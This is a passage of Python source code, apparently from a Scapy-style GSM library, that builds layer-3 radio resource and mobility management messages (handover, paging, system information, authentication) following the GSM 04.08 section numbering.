1: f = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0) packet = packet / f if MultislotAllocation_presence is 1: g = MultislotAllocationHdr(ieiMSA=0x10, eightBitMSA=0x0) packet = packet / g if ChannelMode_presence is 1: h = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0) packet = packet / h if ChannelMode_presence1 is 1: i = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0) packet = packet / i if ChannelMode_presence2 is 1: j = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0) packet = packet / j if ChannelMode_presence3 is 1: k = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0) packet = packet / k if ChannelMode_presence4 is 1: l = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0) packet = packet / l if ChannelMode_presence5 is 1: m = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0) packet = packet / m if ChannelMode_presence6 is 1: n = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0) packet = packet / n if ChannelMode_presence7 is 1: o = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0) packet = packet / o if ChannelDescription_presence is 1: p = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0) packet = packet / p if ChannelMode2_presence is 1: q = ChannelMode2Hdr(ieiCM2=0x66, eightBitCM2=0x0) packet = packet / q if MobileAllocation_presence is 1: r = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / r if StartingTime_presence is 1: s = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / s if FrequencyList_presence1 is 1: t = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0) packet = packet / t if ChannelDescription2_presence is 1: u = ChannelDescription2Hdr(ieiCD2=0x1C, eightBitCD2=0x0) packet = packet / u if ChannelDescription_presence is 1: v = ChannelDescriptionHdr(ieiCD=0x1D, eightBitCD=0x0) packet = packet / v if FrequencyChannelSequence_presence is 1: w = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0) packet = packet / w if MobileAllocation_presence1 is 1: x = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0) packet = packet / x if CipherModeSetting_presence is 1: y = CipherModeSettingHdr(ieiCMS=0x9, eightBitCMS=0x0) packet = packet / y if VgcsTargetModeIdentication_presence is 1: z = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0) packet = packet / z if MultiRateConfiguration_presence is 1: aa = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0) packet = packet / aa return packet # MS to Network def assignmentComplete(): """ASSIGNMENT COMPLETE Section 9.1.3""" a = TpPd(pd=0x6) b = MessageType(mesType=0x29) # 00101001 c = RrCause() packet = a / b / c return packet # MS to Network def assignmentFailure(): """ASSIGNMENT FAILURE Section 9.1.4""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2F) # 00101111 c = RrCause() packet = a / b / c return packet # Network to MS def channelModeModify(VgcsTargetModeIdentication_presence=0, MultiRateConfiguration_presence=0): """CHANNEL MODE MODIFY Section 9.1.5""" a = TpPd(pd=0x6) b = MessageType(mesType=0x8) # 0001000 c = ChannelDescription2() d = ChannelMode() packet = a / b / c / d if VgcsTargetModeIdentication is 1: e = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0) packet = packet / e if MultiRateConfiguration is 1: f = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0) packet = packet / f return packet def channelModeModifyAcknowledge(): """CHANNEL MODE MODIFY ACKNOWLEDGE Section 9.1.6""" a = TpPd(pd=0x6) b = MessageType(mesType=0x17) # 00010111 c = ChannelDescription2() d = ChannelMode() packet = a / b / c / d return packet # Network to MS def channelRelease(BaRange_presence=0, GroupChannelDescription_presence=0, GroupCipherKeyNumber_presence=0, GprsResumption_presence=0, BaListPref_presence=0): """CHANNEL RELEASE Section 9.1.7""" a = TpPd(pd=0x6) b = MessageType(mesType=0xD) # 00001101 c = RrCause() packet = a / b / c if BaRange_presence is 1: d = BaRangeHdr(ieiBR=0x73, eightBitBR=0x0) packet = packet / d if GroupChannelDescription_presence is 1: e = GroupChannelDescriptionHdr(ieiGCD=0x74, eightBitGCD=0x0) packet = packet / e if GroupCipherKeyNumber_presence is 1: f = GroupCipherKeyNumber(ieiGCKN=0x8) packet = packet / f if GprsResumption_presence is 1: g = GprsResumptionHdr(ieiGR=0xC, eightBitGR=0x0) packet = packet / g if BaListPref_presence is 1: h = BaListPrefHdr(ieiBLP=0x75, eightBitBLP=0x0) packet = packet / h return packet class ChannelRequest(Packet): """Channel request Section 9.1.8""" name = "Channel Request" fields_desc = [ ByteField("estCause", 0x0) ] def channelRequest(): return ChannelRequest() # Network to MS def cipheringModeCommand(): """CIPHERING MODE COMMAND Section 9.1.9""" a = TpPd(pd=0x6) b = MessageType(mesType=0x35) # 00110101 c = RrCause() #d=cipherModeSetting() #e=cipherResponse() # FIX d = CipherModeSettingAndcipherResponse() packet = a / b / c / d return packet def cipheringModeComplete(MobileId_presence=0): """CIPHERING MODE COMPLETE Section 9.1.10""" a = TpPd(pd=0x6) b = MessageType(mesType=0x32) # 00110010 packet = a / b if MobileId_presence is 1: c = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / c return packet # Network to MS def classmarkChange(MobileStationClassmark3_presence=0): """CLASSMARK CHANGE Section 9.1.11""" a = TpPd(pd=0x6) b = MessageType(mesType=0x16) # 00010110 c = MobileStationClassmark2() packet = a / b / c if MobileStationClassmark3_presence is 1: e = MobileStationClassmark3(ieiMSC3=0x20) packet = packet / e return packet # Network to MS def classmarkEnquiry(): """CLASSMARK ENQUIRY Section 9.1.12""" a = TpPd(pd=0x6) b = MessageType(mesType=0x13) # 00010011 packet = a / b return packet # 9.1.12a Spare # Network to MS def configurationChangeCommand(ChannelMode_presence=0, ChannelMode_presence1=0, ChannelMode_presence2=0, ChannelMode_presence3=0, ChannelMode_presence4=0, ChannelMode_presence5=0, ChannelMode_presence6=0, ChannelMode_presence7=0): """CONFIGURATION CHANGE COMMAND Section 9.1.12b""" a = TpPd(pd=0x6) b = MessageType(mesType=0x30) # 00110000 c = MultislotAllocation() packet = a / b / c if ChannelMode_presence is 1: d = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0) packet = packet / d if ChannelMode_presence1 is 1: e = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0) packet = packet / e if ChannelMode_presence2 is 1: f = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0) packet = packet / f if ChannelMode_presence3 is 1: g = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0) packet = packet / g if ChannelMode_presence4 is 1: h = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0) packet = packet / h if ChannelMode_presence5 is 1: i = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0) packet = packet / i if ChannelMode_presence6 is 1: j = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0) packet = packet / j if ChannelMode_presence7 is 1: k = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0) packet = packet / k return packet def configurationChangeAcknowledge(): """CONFIGURATION CHANGE ACKNOWLEDGE Section 9.1.12c""" a = TpPd(pd=0x6) b = MessageType(mesType=0x31) # 00110001 c = MobileId() packet = a / b / c return packet def configurationChangeReject(): """CONFIGURATION CHANGE REJECT Section 9.1.12d""" a = TpPd(pd=0x6) b = MessageType(mesType=0x33) # 00110011 c = RrCause() packet = a / b / c return packet # Network to MS def frequencyRedefinition(CellChannelDescription_presence=0): """Frequency redefinition Section 9.1.13""" a = TpPd(pd=0x6) b = MessageType(mesType=0x14) # 00010100 c = ChannelDescription() d = MobileAllocation() e = StartingTime() packet = a / b / c / d / e if CellChannelDescription_presence is 1: f = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0) packet = packet / f return packet # Network to MS def pdchAssignmentCommand(ChannelDescription_presence=0, CellChannelDescription_presence=0, MobileAllocation_presence=0, StartingTime_presence=0, FrequencyList_presence=0, ChannelDescription_presence1=0, FrequencyChannelSequence_presence=0, MobileAllocation_presence1=0, PacketChannelDescription_presence=0, DedicatedModeOrTBF_presence=0): """PDCH ASSIGNMENT COMMAND Section 9.1.13a""" a = TpPd(pd=0x6) b = MessageType(mesType=0x23) # 00100011 c = ChannelDescription() packet = a / b / c if ChannelDescription_presence is 1: d = ChannelDescriptionHdr(ieiCD=0x62, eightBitCD=0x0) packet = packet / d if CellChannelDescription_presence is 1: e = CellChannelDescriptionHdr(ieiCCD=0x05, eightBitCCD=0x0) packet = packet / e if MobileAllocation_presence is 1: f = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / f if StartingTime_presence is 1: g = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / g if FrequencyList_presence is 1: h = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0) packet = packet / h if ChannelDescription_presence1 is 1: i = ChannelDescriptionHdr(ieiCD=0x1C, eightBitCD=0x0) packet = packet / i if FrequencyChannelSequence_presence is 1: j = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0) packet = packet / j if MobileAllocation_presence1 is 1: k = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0) packet = packet / k if PacketChannelDescription_presence is 1: l = PacketChannelDescription(ieiPCD=0x22) packet = packet / l if DedicatedModeOrTBF_presence is 1: m = DedicatedModeOrTBFHdr(ieiDMOT=0x23, eightBitDMOT=0x0) packet = packet / m return packet def gprsSuspensionRequest(): """GPRS SUSPENSION REQUEST Section 9.1.13b""" a = TpPd(pd=0x6) b = MessageType() c = Tlli() d = RoutingAreaIdentification() e = SuspensionCause() packet = a / b / c / d / e return packet class HandoverAccess(Packet): name = "Handover Access" # Section 9.1.14" fields_desc = [ ByteField("handover", None), ] # Network to MS def handoverCommand(SynchronizationIndication_presence=0, FrequencyShortList_presence=0, FrequencyList_presence=0, CellChannelDescription_presence=0, MultislotAllocation_presence=0, ChannelMode_presence=0, ChannelMode_presence1=0, ChannelMode_presence2=0, ChannelMode_presence3=0, ChannelMode_presence4=0, ChannelMode_presence5=0, ChannelMode_presence6=0, ChannelMode_presence7=0, ChannelDescription_presence1=0, ChannelMode2_presence=0, FrequencyChannelSequence_presence=0, MobileAllocation_presence=0, StartingTime_presence=0, TimeDifference_presence=0, TimingAdvance_presence=0, FrequencyShortList_presence1=0, FrequencyList_presence1=0, ChannelDescription2_presence=0, ChannelDescription_presence2=0, FrequencyChannelSequence_presence1=0, MobileAllocation_presence1=0, CipherModeSetting_presence=0, VgcsTargetModeIdentication_presence=0, MultiRateConfiguration_presence=0): """HANDOVER COMMAND Section 9.1.15""" name = "Handover Command" a = TpPd(pd=0x6) b = MessageType(mesType=0x2b) # 00101011 c = CellDescription() d = ChannelDescription2() e = HandoverReference() f = PowerCommandAndAccessType() packet = a / b / c / d / e / f if SynchronizationIndication_presence is 1: g = SynchronizationIndicationHdr(ieiSI=0xD, eightBitSI=0x0) packet = packet / g if FrequencyShortList_presence is 1: h = FrequencyShortListHdr(ieiFSL=0x02) packet = packet / h if FrequencyList_presence is 1: i = FrequencyListHdr(ieiFL=0x05, eightBitFL=0x0) packet = packet / i if CellChannelDescription_presence is 1: j = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0) packet = packet / j if MultislotAllocation_presence is 1: k = MultislotAllocationHdr(ieiMSA=0x10, eightBitMSA=0x0) packet = packet / k if ChannelMode_presence is 1: l = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0) packet = packet / l if ChannelMode_presence1 is 1: m = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0) packet = packet / m if ChannelMode_presence2 is 1: n = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0) packet = packet / n if ChannelMode_presence3 is 1: o = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0) packet = packet / o if ChannelMode_presence4 is 1: p = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0) packet = packet / p if ChannelMode_presence5 is 1: q = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0) packet = packet / q if ChannelMode_presence6 is 1: r = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0) packet = packet / r if ChannelMode_presence7 is 1: s = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0) packet = packet / s if ChannelDescription_presence1 is 1: s1 = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0) packet = packet / s1 if ChannelMode2_presence is 1: t = ChannelMode2Hdr(ieiCM2=0x66, eightBitCM2=0x0) packet = packet / t if FrequencyChannelSequence_presence is 1: u = FrequencyChannelSequenceHdr(ieiFCS=0x69, eightBitFCS=0x0) packet = packet / u if MobileAllocation_presence is 1: v = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / v if StartingTime_presence is 1: w = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / w if TimeDifference_presence is 1: x = TimeDifferenceHdr(ieiTD=0x7B, eightBitTD=0x0) packet = packet / x if TimingAdvance_presence is 1: y = TimingAdvanceHdr(ieiTA=0x7D, eightBitTA=0x0) packet = packet / y if FrequencyShortList_presence1 is 1: z = FrequencyShortListHdr(ieiFSL=0x12) packet = packet / z if FrequencyList_presence1 is 1: aa = FrequencyListHdr(ieiFL=0x19, eightBitFL=0x0) packet = packet / aa if ChannelDescription2_presence is 1: ab = ChannelDescription2Hdr(ieiCD2=0x1C, eightBitCD2=0x0) packet = packet / ab if ChannelDescription_presence2 is 1: ac = ChannelDescriptionHdr(ieiCD=0x1D, eightBitCD=0x0) packet = packet / ac if FrequencyChannelSequence_presence1 is 1: ad = FrequencyChannelSequenceHdr(ieiFCS=0x1E, eightBitFCS=0x0) packet = packet / ad if MobileAllocation_presence1 is 1: ae = MobileAllocationHdr(ieiMA=0x21, eightBitMA=0x0) packet = packet / ae if CipherModeSetting_presence is 1: af = CipherModeSettingHdr(ieiCMS=0x9, eightBitCMS=0x0) packet = packet / af if VgcsTargetModeIdentication_presence is 1: ag = VgcsTargetModeIdenticationHdr(ieiVTMI=0x01, eightBitVTMI=0x0) packet = packet / ag if MultiRateConfiguration_presence is 1: ah = MultiRateConfigurationHdr(ieiMRC=0x03, eightBitMRC=0x0) packet = packet / ah return packet def handoverComplete(MobileTimeDifference_presence=0): """HANDOVER COMPLETE Section 9.1.16""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2c) # 00101100 c = RrCause() packet = a / b / c if MobileTimeDifference_presence is 1: d = MobileTimeDifferenceHdr(ieiMTD=0x77, eightBitMTD=0x0) packet = packet / d return packet def handoverFailure(): """HANDOVER FAILURE Section 9.1.17""" a = TpPd(pd=0x6) b = MessageType(mesType=0x28) # 00101000 c = RrCause() packet = a / b / c return packet #The L2 pseudo length of this message is the sum of lengths of all #information elements present in the message except #the IA Rest Octets and L2 Pseudo Length information elements. # Network to MS def immediateAssignment(ChannelDescription_presence=0, PacketChannelDescription_presence=0, StartingTime_presence=0): """IMMEDIATE ASSIGNMENT Section 9.1.18""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x3F) # 00111111 d = PageModeAndDedicatedModeOrTBF() packet = a / b / c / d if ChannelDescription_presence is 1: f = ChannelDescription() packet = packet / f if PacketChannelDescription_presence is 1: g = PacketChannelDescription() packet = packet / g h = RequestReference() i = TimingAdvance() j = MobileAllocation() packet = packet / h / i / j if StartingTime_presence is 1: k = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / k l = IaRestOctets() packet = packet / l return packet #The L2 pseudo length of this message is the sum of lengths of all #information elements present in the message except #the IAX Rest Octets and L2 Pseudo Length information elements. # Network to MS def immediateAssignmentExtended(StartingTime_presence=0): """IMMEDIATE ASSIGNMENT EXTENDED Section 9.1.19""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x39) # 00111001 d = PageModeAndSpareHalfOctets() f = ChannelDescription() g = RequestReference() h = TimingAdvance() i = MobileAllocation() packet = a / b / c / d / f / g / h / i if StartingTime_presence is 1: j = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / j k = IaxRestOctets() packet = packet / k return packet # This message has L2 pseudo length 19 # Network to MS def immediateAssignmentReject(): """IMMEDIATE ASSIGNMENT REJECT Section 9.1.20""" a = L2PseudoLength(l2pLength=0x13) b = TpPd(pd=0x6) c = MessageType(mesType=0x3a) # 00111010 d = PageModeAndSpareHalfOctets() f = RequestReference() g = WaitIndication() h = RequestReference() i = WaitIndication() j = RequestReference() k = WaitIndication() l = RequestReference() m = WaitIndication() n = IraRestOctets() packet = a / b / c / d / f / g / h / i / j / k / l / m / n return packet def measurementReport(): """MEASUREMENT REPORT Section 9.1.21""" a = TpPd(pd=0x6) b = MessageType(mesType=0x15) # 00010101 c = MeasurementResults() packet = a / b / c return packet # len max 20 class NotificationFacch(): """NOTIFICATION/FACCH Section 9.1.21a""" name = "Notification/facch" fields_desc = [ BitField("rr", 0x0, 1), BitField("msgTyoe", 0x0, 5), BitField("layer2Header", 0x0, 2), BitField("frChanDes", 0x0, 24) ] # The L2 pseudo length of this message has a value one # Network to MS def notificationNch(): """NOTIFICATION/NCH Section 9.1.21b""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x20) # 00100000 d = NtNRestOctets() packet = a / b / c / d return packet def notificationResponse(): """NOTIFICATION RESPONSE Section 9.1.21d""" a = TpPd(pd=0x6) b = MessageType(mesType=0x26) # 00100110 c = MobileStationClassmark2() d = MobileId() e = DescriptiveGroupOrBroadcastCallReference() packet = a / b / c / d / e return packet # Network to MS def rrCellChangeOrder(): """RR-CELL CHANGE ORDER Section 9.1.21e""" a = TpPd(pd=0x6) b = MessageType(mesType=0x8) # 00001000 c = CellDescription() d = NcModeAndSpareHalfOctets() packet = a / b / c / d return packet # Network to MS def pagingRequestType1(MobileId_presence=0): """PAGING REQUEST TYPE 1 Section 9.1.22""" #The L2 pseudo length of this message is the sum of lengths of all #information elements present in the message except #the P1 Rest Octets and L2 Pseudo Length information elements. a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x21) # 00100001 d = PageModeAndChannelNeeded() f = MobileId() packet = a / b / c / d / f if MobileId_presence is 1: g = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / g h = P1RestOctets() packet = packet / h return packet # The L2 pseudo length of this message is the sum of lengths of all # information elements present in the message except # Network to MS def pagingRequestType2(MobileId_presence=0): """PAGING REQUEST TYPE 2 Section 9.1.23""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x22) # 00100010 d = PageModeAndChannelNeeded() f = MobileId() g = MobileId() packet = a / b / c / d / f / g if MobileId_presence is 1: h = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / h i = P2RestOctets() packet = packet / i return packet # Network to MS def pagingRequestType3(): """PAGING REQUEST TYPE 3 Section 9.1.24""" # This message has a L2 Pseudo Length of 19 a = L2PseudoLength(l2pLength=0x13) b = TpPd(pd=0x6) c = MessageType(mesType=0x24) # 00100100 d = PageModeAndChannelNeeded() e = TmsiPTmsi() f = TmsiPTmsi() g = TmsiPTmsi() h = TmsiPTmsi() i = P3RestOctets() packet = a / b / c / d / e / f / g / h / i return packet def pagingResponse(): """PAGING RESPONSE Section 9.1.25""" a = TpPd(pd=0x6) b = MessageType(mesType=0x27) # 00100111 c = CiphKeySeqNrAndSpareHalfOctets() d = MobileStationClassmark2() e = MobileId() packet = a / b / c / d / e return packet # Network to MS def partialRelease(): """PARTIAL RELEASE Section 9.1.26""" a = TpPd(pd=0x6) b = MessageType(mesType=0xa) # 00001010 c = ChannelDescription() packet = a / b / c return packet def partialReleaseComplete(): """PARTIAL RELEASE COMPLETE Section 9.1.27""" a = TpPd(pd=0x6) b = MessageType(mesType=0xf) # 00001111 packet = a / b return packet # Network to MS def physicalInformation(): """PHYSICAL INFORMATION Section 9.1.28""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2d) # 00101101 c = TimingAdvance() packet = a / b / c return packet def rrInitialisationRequest(): """RR Initialisation Request Section 9.1.28.a""" a = TpPd(pd=0x6) b = MessageType(mesType=0x3c) # 00111100 c = CiphKeySeqNrAndMacModeAndChannelCodingRequest() e = MobileStationClassmark2() f = Tlli() g = ChannelRequestDescription() h = GprsMeasurementResults() packet = a / b / c / e / f / g / h return packet def rrStatus(): """RR STATUS Section 9.1.29""" a = TpPd(pd=0x6) b = MessageType(mesType=0x12) # 00010010 c = RrCause() packet = a / b / c return packet # It does not # follow the basic format. Its length is _25_ bits. The # order of bit transmission is defined in GSM 04.04. # Network to MS class SynchronizationChannelInformation(): """SYNCHRONIZATION CHANNEL INFORMATION Section 9.1.30""" name = "Synchronization Channel Information" fields_desc = [ BitField("bsic", 0x0, 5), BitField("t1Hi", 0x0, 3), ByteField("t1Mi", 0x0), BitField("t1Lo", 0x0, 1), BitField("t2", 0x0, 5), BitField("t3Hi", 0x0, 2), BitField("t3Lo", 0x0, 1) ] # This message has a L2 Pseudo Length of 21. # Network to MS def systemInformationType1(): """SYSTEM INFORMATION TYPE 1 Section 9.1.31""" a = L2PseudoLength(l2pLength=0x15) b = TpPd(pd=0x6) c = MessageType(mesType=0x19) # 00011001 d = CellChannelDescription() e = RachControlParameters() f = Si1RestOctets() packet = a / b / c / d / e / f return packet # This message has a L2 Pseudo Length of 22. # Network to MS def systemInformationType2(): """SYSTEM INFORMATION TYPE 2 Section 9.1.32""" a = L2PseudoLength(l2pLength=0x16) b = TpPd(pd=0x6) c = MessageType(mesType=0x1a) # 00011010 d = NeighbourCellsDescription() e = NccPermitted() f = RachControlParameters() packet = a / b / c / d / e / f return packet # This message has a L2 pseudo length of 21 # Network to MS def systemInformationType2bis(): """SYSTEM INFORMATION TYPE 2bis Section 9.1.33""" a = L2PseudoLength(l2pLength=0x15) b = TpPd(pd=0x6) c = MessageType(mesType=0x2) # 00000010 d = NeighbourCellsDescription() e = RachControlParameters() f = Si2bisRestOctets() packet = a / b / c / d / e / f return packet # This message has a L2 pseudo length of 18 # Network to MS def systemInformationType2ter(): """SYSTEM INFORMATION TYPE 2ter Section 9.1.34""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x3) # 00000011 d = NeighbourCellsDescription2() e = Si2terRestOctets() packet = a / b / c / d / e return packet # This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType3(): """SYSTEM INFORMATION TYPE 3 Section 9.1.35""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x1b) # 00011011 d = CellIdentity() e = LocalAreaId() f = ControlChannelDescription() g = CellOptionsBCCH() h = CellSelectionParameters() i = RachControlParameters() j = Si3RestOctets() packet = a / b / c / d / e / f / g / h / i / j return packet #The L2 pseudo length of this message is the #sum of lengths of all information elements present in the message except #the SI 4 Rest Octets and L2 Pseudo Length # Network to MS def systemInformationType4(ChannelDescription_presence=0, MobileAllocation_presence=0): """SYSTEM INFORMATION TYPE 4 Section 9.1.36""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x1C) # 000111100 d = LocalAreaId() e = CellSelectionParameters() f = RachControlParameters() packet = a / b / c / d / e / f if ChannelDescription_presence is 1: g = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0) packet = packet / g if MobileAllocation_presence is 1: h = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / h i = Si4RestOctets() packet = packet / i return packet #This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType5(): """SYSTEM INFORMATION TYPE 5 Section 9.1.37""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x35) # 000110101 d = NeighbourCellsDescription() packet = a / b / c / d return packet #This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType5bis(): """SYSTEM INFORMATION TYPE 5bis Section 9.1.38""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x5) # 00000101 d = NeighbourCellsDescription() packet = a / b / c / d return packet # This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType5ter(): """SYSTEM INFORMATION TYPE 5ter Section 9.1.39""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x6) # 00000110 d = NeighbourCellsDescription2() packet = a / b / c / d return packet #This message has a L2 Pseudo Length of 11 # Network to MS def systemInformationType6(): """SYSTEM INFORMATION TYPE 6 Section 9.1.40""" a = L2PseudoLength(l2pLength=0x0b) b = TpPd(pd=0x6) c = MessageType(mesType=0x1e) # 00011011 d = CellIdentity() e = LocalAreaId() f = CellOptionsBCCH() g = NccPermitted() h = Si6RestOctets() packet = a / b / c / d / e / f / g return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType7(): """SYSTEM INFORMATION TYPE 7 Section 9.1.41""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x37) # 000110111 d = Si7RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType8(): """SYSTEM INFORMATION TYPE 8 Section 9.1.42""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x18) # 00011000 d = Si8RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType9(): """SYSTEM INFORMATION TYPE 9 Section 9.1.43""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x4) # 00000100 d = Si9RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 0 # Network to MS def systemInformationType13(): """SYSTEM INFORMATION TYPE 13 Section 9.1.43a""" a = L2PseudoLength(l2pLength=0x00) b = TpPd(pd=0x6) c = MessageType(mesType=0x0) # 00000000 d = Si13RestOctets() packet = a / b / c / d return packet # # 9.1.43b / c spare # # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType16(): """SYSTEM INFORMATION TYPE 16 Section 9.1.43d""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x3d) # 00111101 d = Si16RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType17(): """SYSTEM INFORMATION TYPE 17 Section 9.1.43e""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x3e) # 00111110 d = Si17RestOctets() packet = a / b / c / d return packet def talkerIndication(): """TALKER INDICATION Section 9.1.44""" a = TpPd(pd=0x6) b = MessageType(mesType=0x11) # 00010001 c = MobileStationClassmark2() d = MobileId() packet = a / b / c / d return packet class UplinkAccess(): """UPLINK ACCESS Section 9.1.45""" name = "Uplink Access" fields_desc = [ ByteField("establishment", 0x0) ] # Network to MS def uplinkBusy(): """UPLINK BUSY Section 9.1.46""" name = "Uplink Busy" a = TpPd(pd=0x6) b = MessageType(mesType=0x2a) # 00101010 packet = a / b return packet # Network to MS class UplinkFree(): """UPLINK FREE Section 9.1.47""" name = "Uplink Free" fields_desc = [ BitField("pd", 0x0, 1), BitField("msgType", 0x0, 5), BitField("layer2Header", 0x0, 2), BitField("uplinkAccess", 0x0, 1), BitField("lOrH", 0x0, 1), # 0 for L, 1 for H BitField("upIdCode", 0x0, 6), ] def uplinkRelease(): """UPLINK RELEASE Section 9.1.48""" a = TpPd(pd=0x6) b = MessageType(mesType=0xe) # 00001110 c = RrCause() packet = a / b / c return packet # Network to MS def vgcsUplinkGrant(): """VGCS UPLINK GRANT Section 9.1.49""" a = TpPd(pd=0x6) b = MessageType(mesType=0x9) # 00001001 c = RrCause() d = RequestReference() e = TimingAdvance() packet = a / b / c / d / e return packet # Network to MS def systemInformationType10(): """SYSTEM INFORMATION TYPE 10 Section 9.1.50""" name = "SyStem Information Type 10" fields_desc = [ BitField("pd", 0x0, 1), BitField("msgType", 0x0, 5), BitField("layer2Header", 0x0, 2), BitField("si10", 0x0, 160) ] # Network to MS # The L2 pseudo length of this message has the value 18 def extendedMeasurementOrder(): """EXTENDED MEASUREMENT ORDER Section 9.1.51""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x37) # 00110111 d = ExtendedMeasurementFrequencyList() packet = a / b / c / d return packet def extendedMeasurementReport(): """EXTENDED MEASUREMENT REPORT Section 9.1.52""" a = TpPd(pd=0x6) b = MessageType(mesType=0x36) # 00110110 c = ExtendedMeasurementResults() packet = a / b / c return packet def applicationInformation(): """APPLICATION INFORMATION Section 9.1.53""" a = TpPd(pd=0x6) b = MessageType(mesType=0x38) # 00111000 c = ApduIDAndApduFlags() e = ApduData() packet = a / b / c / e return packet # # 9.2 Messages for mobility management # # Network to MS def authenticationReject(): """AUTHENTICATION REJECT Section 9.2.1""" a = TpPd(pd=0x5) b = MessageType(mesType=0x11) # 00010001 packet = a / b return packet # Network to MS def authenticationRequest(): """AUTHENTICATION REQUEST Section 9.2.2""" a = TpPd(pd=0x5) b = MessageType(mesType=0x12) # 00010010 c = CiphKeySeqNrAndSpareHalfOctets() d = AuthenticationParameterRAND() packet = a / b / c / d return packet def authenticationResponse(): """AUTHENTICATION RESPONSE Section 9.2.3""" a = TpPd(pd=0x5) b = MessageType(mesType=0x14) # 00010100 c = AuthenticationParameterSRES() packet = a / b / c return packet def cmReestablishmentRequest(LocalAreaId_presence=0): """CM RE-ESTABLISHMENT REQUEST Section 9.2.4""" a = TpPd(pd=0x5) b = MessageType(mesType=0x28) # 00101000 c = CiphKeySeqNrAndSpareHalfOctets() e = MobileStationClassmark2() f 